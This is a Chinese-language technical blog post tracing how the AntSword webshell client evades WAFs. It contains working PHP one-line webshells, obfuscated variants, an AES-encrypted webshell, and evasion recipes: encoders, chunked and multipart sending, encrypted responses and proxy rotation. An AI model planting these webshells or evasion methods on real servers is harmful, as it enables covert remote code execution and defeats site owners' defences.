蚁剑绕WAF进化图鉴
写在前面
最近大家都在捣腾 0708,由于太菜,只好坐等大佬分析喽。也没处理 issue, 也没写东西。回去领了个证书,说实话提前预约,到场直接走流程,留下身后一堆怨毒的眼神这种感觉自己像VIP一样的待遇真爽,后面找机会再分享一下这个事。
背景
使用蚁剑在管理网站的时候,普遍使用的 http 协议,而我们都知道 http 协议使用的是明文传输,冷不丁的会被篡改通信数据。所以就有了双向加密的这个需求。
在WAF攻防的这个角度上来看,传统的基于http流量特征检测的手段在面对双向加密的 webshell 时会显得尤为鸡肋。
之前讲过 RSA 非对称加密请求包,那这一篇我们就来多花一些时间,详细讲一讲蚁剑的「发包方式」、「编码器」、「解码器」这几个组件的用法。
为方便解释,我们后面统一都以 PHP 为例来说,毕竟蚁剑现在支持最好的就是 PHP(实际是本穷逼买不起高配电脑,开不起虚拟机,只能在 docker 里面开一开 PHP 环境)。
一句话 WebShell 原理
这个东西我写过不止一遍了,今天还要拿出来再热一热剩饭
讲一句话webshell之前,先说一下 webshell(也就是常听人说的「大马」),它的功能可以很丰富,也可以不丰富,总的来说,就是「把功能代码写在了 webshell 文件里」,怎么理解这句话呢,我们以 GitHub 上某个 webshell 收集库中的 angel大马.php 为例子来说明,我们不需要看懂他的代码内容,看注释就行了:
截图里面的几个功能点,都是对文件的操作,包括上传文件、编辑文件、修改文件属性,可以发现的是,它是把想要的功能,都提前写进了这个 php 文件里面,如果有个功能这个文件里面没有,那他就不会有这个功能。当然了,这样一来他的缺点也就显示出来了,随着功能越来越强大,文件体积也会越来越大,虽然现在硬盘便宜的一匹。
因为它的体积大,往往在尝试写入的时候可能会因为这个那个的原因,导致文件写不全啥的,比如有个 sql 注入能写webshell的点,你直接写这玩意儿上去,成功率会相对低下。所以都是先尝试写入一个只有上传功能或者执行命令功能的「小马」上去,辅助上传「大马」。
后来一句话 webshell 流行了起来,那先看一个最为经典的PHP一句话WebShell:
<?php eval($_POST['ant']);?>
其核心就是这个 eval 表达式了,eval 干的一件事情就是「把字符串当作代码来执行」,也就是说,我们现在可以把功能性的代码不直接放在 webshell 里面了,在利用的时候,只需要把功能性的代码传给 webshell, 然后webshell 按照我们发送的功能代码,去执行这段代码就好了。
而这个 $_POST['ant'] 是接收到HTTP请求中Body部分的一个参数的值(PHP语法),这个参数的名字是 ant。Body部分可以传很多很多的键值对过来,比如 a=123&b=456&ant=789 这就会有3个参数,而我们的 webshell 它在收到这么多参数之后,只会先处理 ant 的内容,其它的它暂时不会管,除非 ant 这个值里面的代码用到了其它传过来的参数。后来不知道怎么传承的,这个「第一参数」就变成了我们行话中的「连接密码」。
以上面这个图为例子,效果其实是等同于你在服务器上新建了一个 php 文件,然后内容写成下面这段代码的:
<?php var_dump(md5(123));?>
如此这般,一句话的长处就展现出来了,我要想加个新功能,我只需要在我自己电脑上写好功能代码就行了,不需要把每一个服务端的代码再改一次,扩展性非常好。
一句话 WebShell 的攻防
那么问题来了,这么方便的一句话 WebShell,大家都是怎么防护的呢?
1) 静态查杀攻防
布署在服务器主机上,定期扫描服务器web目录下的文件,无论是用正则匹配也好,用语法树解析也好,总归就是根据 webshell 的代码特征,把可疑文件揪出来。
常见的有这种功能的比如:D盾、安全狗、河马WebShell扫描等等
比如下面这个开源的 webshell 查杀工具,就是基于「正则特征码」来查杀的
那么相应的,webshell 就需要不断变形,达到最终目的即可,也就是「把客户端发来的字符串,当成代码执行」
比如这种,利用 $$ 来动态执行的:
<?php
$a="assert";
$$a($_POST['cmd']);
?>
再接着就是把 assert 关键字用 base64 等各种手段不让直接出现的
<?php
$a=base64_decode("YXNzZXJ0");
$$a($_POST['cmd']);
?>
还有这种:
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).
$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>
总之就是,防守方不断更新规则库,进攻方不断尝试变形,有来有回
下面我罗列了常用的一些能引起代码执行的方式:
eval
preg_replace 函数中的 /e 修饰符 create_function
assert //PHP7没了,PHP5直接明文传 payload 会因为引号问题执行不成功
call_user_func
call_user_func_array
usort
uksort
array_map
array_walk
array_filter
$a($b) // 动态组装代码执行
unserialize //反序列化导致代码执行
2) Hook 进 PHP 内核,基于行为查杀
调用 eval 等代码执行的函数,最终会调用 php 内核的 zend_compile_string 函数。所以呢,我们只用 Hook 住这个函数,就差不多了。
提一嘴子,D盾、云锁等安全防护产品说的 「免疫一句话 WebShell」 就是基于这个原理来的。任你一句话再怎么变形,最终还是逃不过这道门。
哦对了,说到 D 盾的一句话免疫机制,D哥之前说过,只杀「参数 eval」,所以还是给了一点点可以使用 eval 的机会。变态一点的,可以拦下所有的 eval, 走文件白名单机制,一句话就凉凉了吧?
以前老版本的云锁,仅仅是 Hook 了 eval 执行代码这一块,没有进行太多的 Hook,绕过的方法呢,就是用「大马」或者蚁剑的「CUSTOM」类的 webshell,直接把功能性代码写到 webshell 里,然后只传一些像 ABCD 这种标识符过去。
现在新版本的这些侵入式的防护产品,除了 Hook 了代码执行这一块,也一并把文件IO,命令执行这些都做了,根据 web 文件的行为来判断是否是 webshell。典型的比如:读取了非 web 目录下的文件
遇到这种,送你4字箴言「自求多福」。不在本文讨论范围之内,原因是我太菜了,讨论不出来个啥。
3) 中间件流量上的攻防
本来想叫WAF类的,感觉不太合适,改叫中间件了
这一类主要是布署在中间件这一层上,让所有的 http 流量先经过WAF,然后再交给后端组件处理。你静态文件爱变形是吧,我查不出来对吗,但是你总要把业务请求当中不会出现的代码掺在请求里吧,那我就从这里入手。
常见的有这个功能产品的比如说:阿里云WAF、nginx-lua-waf、安全狗、D盾等等
我们先来看蚁剑中使用 default 编码器(也就是明文传输 payload)时,列目录功能发送的 payload:
红框中标出来的是具体的功能代码,这段内容,充斥着大量的关键字,在正常的业务数据中,几乎是不会有的,这也是查杀的重要关注点。
你有你的张良计,我有我的过墙梯。怎么要绕呢?
3.1) base64 计划
蚁剑在v1.0的时候就引入了 base64 编码器,会把 payload 使用 base64 编码后发送,像下图这样:
可以看到的是,红框内的像 readdir 等这种功能性代码字符串已经不能直接匹配了,但是看箭头指向的地方,美中不足的是,依然留下了像 eval(base64_decode 这样的特征码,这个特征码也是老版本菜刀的主要特征之一。
3.2) base64 的兄弟姐妹
后来,蚁剑引入了 CHR、CHR16、ROT13 编码器,跟 base64 的原理一样,只是把大量的功能性代码藏了起来而已。证明了仅仅只拦 eval(base64_decode 这样的特征是不行滴:
后来的故事大家都知道了,现已加入肯德鸡豪华午餐
3.3) multipart 问你要性能还是要安全
故事继续,我们自己在做 WAF 的时候,出于对业务性能影响,一般会把 multipart/form-data 这种多用来上传文件的传输方式检测关闭掉。不然攻击者一直给你发大文件,一直损耗WAF的性能,拖垮业务。这也成了蚁剑关注点之一,配置起来很简单,在其它设置里把这个选项勾上就行了。
至于发包的样子,上面几张截图都是用 multipart 发包的,你直接翻上去看就行了。如果你对自己研发的WAF性能非常自信,或者采用的是旁路这种,还是可以检测到的。
3.4) 分块传输再问WAF性能
再到后面有大佬分享了「分块传输吊打WAF」的文章,我也跟着学习了一波,主要就是利用的 chunk 这种传输方式,把 payload 分成一小段一小段传过去,比如原来一个包会传 eval(base64_decode,现在就变成了第一个包传 ev,第二个包传 al, 第三个包传 base ,第四个包传 64_ ......
配置起来就是勾上「分块传输发包」,然后你可以自己设定分块的大小,这里为了方便截图,我开的是100〜500字节:
效果呢就是下面这样:
当然了,针对 WAF最爱的 eval、base64_decode 等关键字,会强制进行拆分,美中不足的是,目前 nodejs 对畸形chunk支持还不是很好,无法发送畸形的 chunk 包。当然这种方式也是利用的 WAF 对该类型的报文解析不完善。有个思路是,你可以自己写一个 Proxy 来专门把普通的包转成畸形包。
聪明的你是不是已经想到了,burp 有个插件 chunked-converter 就可以完成这件事,不过你需要自己改改他的代码。
这种传输方式,要想检测到,WAF也得相应的支持对 chunk 分块传输的解析,在接到数据包的时候需要把之前的报文能关联起来进行分析。还是那句话,考虑性能。
3.5) 一句话不行,我两句话还不行吗
前面几个小节,对抗的重点都集中在了怎么把「连接密码」里的 eval 关键字不让WAF匹配到,所做的种种改造,都是为了兼容最经典的一句话WebShell。正如这个小标题说的,为什么要苦苦纠结兼容 eval($_POST['ant']) 这种最经典的一句话呢?
于是,自定义编码器来了。最简单的,我们以 b64pass 这个自定义编码器为例来说明:
我们只需要做的就是,把 eval(base64_decode 这段特征代码,直接写进一句话代码里就行了,在传输的时候,只传 base64 的数据就可以了。
所以最后的 webshell 代码是这样的:
<?php @eval(base64_decode($_POST['ant']));?>
接收到的数据是 base64 格式的,先解码,然后再传给 eval,效果就是这样子滴:
发送的数据全是 base64 过的,找不到 eval 的痕迹
当然了,简单的 base64,WAF自己也是可以尝试去解码的,怎么破?
3.6) 常规编码随机组合几种,随你解
现在就比较有意思了,你完全可以用任何编码、加密算法,来发送你的 payload, 前提是你的 webshell 里面有对应的解码、解密算法。比如说你可以在 base64 数据前面随机加几个字符,导致 base64 无法直接解码,或者,你还可以像下面这样,直接用 zlib 把 payload 压缩之后再进行 base64 编码发送:
发送的数据长这个样子,base64 了一层:
解一下 base64 之后长这个样子:
我不知道现在有没有哈。那我们假定,常见的 base64, chr, rot13, gzip, zlib 这些WAF已经学会了多层解码,也把这种方式破了,该怎么办?
3.7) 自定义编码器,Payload加密,走一个
解码可以解,那我们就上加密吧,蚁剑可以用 RSA 非对称加密、AES、DES等加密方式,直接把 payload 加密之后传输,RSA 编码器之前已经说过了,感兴趣可以看之前的文章:
RSA编码器 这个Shell 不给你连
Medicean,公众号:学蚁致用RSA编码器 这个Shell不给你连
这次我们就来说一说 AES 编码器:
我们就以 AES-128-ECB(ZeroPadding) 这个编码器为例来说明一下吧,完整的代码请直接去 GitHub 上面看
看红框的位置,主要是从 ext 这个扩展参数里面获取 opts 参数,也就是当前 Shell 的配置信息,然后从 shell 配置信息里面拿当前 Shell 请求的 Cookie 信息,再从 Cookie 里面获取 PHPSESSID,以 session_id 来作为 AES 的秘钥,对 Payload 进行加密。
值得一提的是,这个样例里面,我用到的是 crypto-js 这个第三方库,因为他使用起来简单,如果你愿意,你完全可以用 nodejs 源生的 crypto 库来进行处理。
最后 webshell 代码长这个样子:
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
相应的,由于 AES-128 的 Key 是 16位的,而 session_id 具体多少位我们也没法确定,所以,在这里截取了一下 session_id 如果不足16位,就在后面补字母 a
与上面相对应的,我们蚁剑里的自定义编码器这里,也需要保证使用了相同的算法:
最后是使用环节:
首先需要用到「浏览网站」这个功能,获取到 PHPSESSID,然后我们保存到 Shell 配置里:
或者你也可以自己手填,我建议是自动获取
然后就可以愉快的使用了,具体的流量截图我就不发了,反正是加密的,演示起来还要多截几张解密的图,太麻烦了。
那么问题又来了,如果WAF知道了我这个算法,该怎么办呢? opts 是个好东西,获取的是 shell 配置信息,Session_id 只是其中的一种生成秘钥的方法,你可以拿 UA, 截取UA某一部分,hash UA, 或者任何一个 HTTP 请求头字段,甚至你也可以直接在编码器里面硬编码一个 key,这些,都由你自己决定。
3.8) WAF:都是腊鸡,请求解不了,我拦返回包总可以了吧
确实如此,从上面7个小节的截图来看,返回包都是明文的数据,如果检测特定的返回包,比方说检测 /etc/passwd 这个文件的特征,正常的业务里是不会有这玩意儿的。
emmm... 这时候就轮到「解码器」君上场了
默认的解码器是 default(明文),base64(返回数据经过 base64 编码), rot13, 先来感受一下 base64 吧
asoutput 这个函数返回了一段 PHP 代码,这个是会发送到 webshell 去的,最终 webshell 会调用 asenc 这个函数,来进行输出。
decode_buff 这个函数主要是对返回回来的内容进行解码、解密处理的,上面这张图就是把返回的数据进行了 base64 解码
我们看一下流量上的效果图:
掐头去尾(蚁剑的数据分割符)之后,进行 base64 解码,就能看到明文的数据了。
又回到前面说的那样,如果这个WAF🐂🍺的不行,我把常规的编码都用了,还能解出来,怎么办?呐,加密考虑一下?
同样的,也提供了使用AES对返回包加密的解码器样例
我们就以 AES-256-CFB(ZeroPadding) 这个解码器为例来说吧
主要看 asenc 这个函数,先是把返回的数据用 base64 编码了一下,主要是因为 crypto-js 这个库他不支持 GBK 这些编码的数据。接下来是加密过程,先拿 session_id 来充当 key, AES-256 是需要32位的KEY的,不足32位我们就在后面补字母 a, 这里为了方便,我们把 IV 向量跟 key 设置成一样的了,你可以根据你的喜好自由发挥,比方说把 key 倒置一下啥的。
然后再说蚁剑解码器里,解密部分的代码:
重点已经标出来了,一定要保证算法一致性。
最后来看一下效果图,掐头去尾后,base64 解码一下,发现连 base64 的亲戚都认不出来了
最后回到 key 的生成问题上来,不用 session_id 行不行?答案是,肯定行,你想怎么行,就怎么行,这些都掌握在你的手中。
3.9) 这下... 中间件的 WAF 该怎么防?
经过 Header 伪造、发包方式修改、编码器、解码器这一轮洗礼下来,蚁剑的流量上基本已经没有太多特征性的东西了。有攻也得有守嘛不是。那该怎么防呢?
像 0x76c310041af9 这种 0x 开头的 key 或许能成为特征之一,但是话说回来,这玩意儿轻易就能改的人模狗样的。比如拿个英文字典出来,随机从字典里面挑一些正经的词来生成 key,也能像个乖乖女孩一样。
老实说,我暂时也没想出啥办法。
不过有个思路倒是可以和大家分享一下。webshell 最典型的特征之一是每次请求的都是同一个文件,若是把防CC的策略拿到这里来,也许还可以拦一部分,笔者也是在管理自己阿里云主机的时候,被CC拦了下来,才有了这个思路。但是,话又说回来了,蚁剑支持代理访问......做一个代理池,本地开放一个socks端口,接到的HTTP流量,通过不同的 proxy 发出,是不是也能绕一绕?
我没学过机器学习,不知道机器学习能不能解决。个人拙见,目前好像D盾、云锁这种直接在 PHP 层面 Hook 的倒是个万金油的方案。
后记
如果你有更好的思路,欢迎一起来讨论。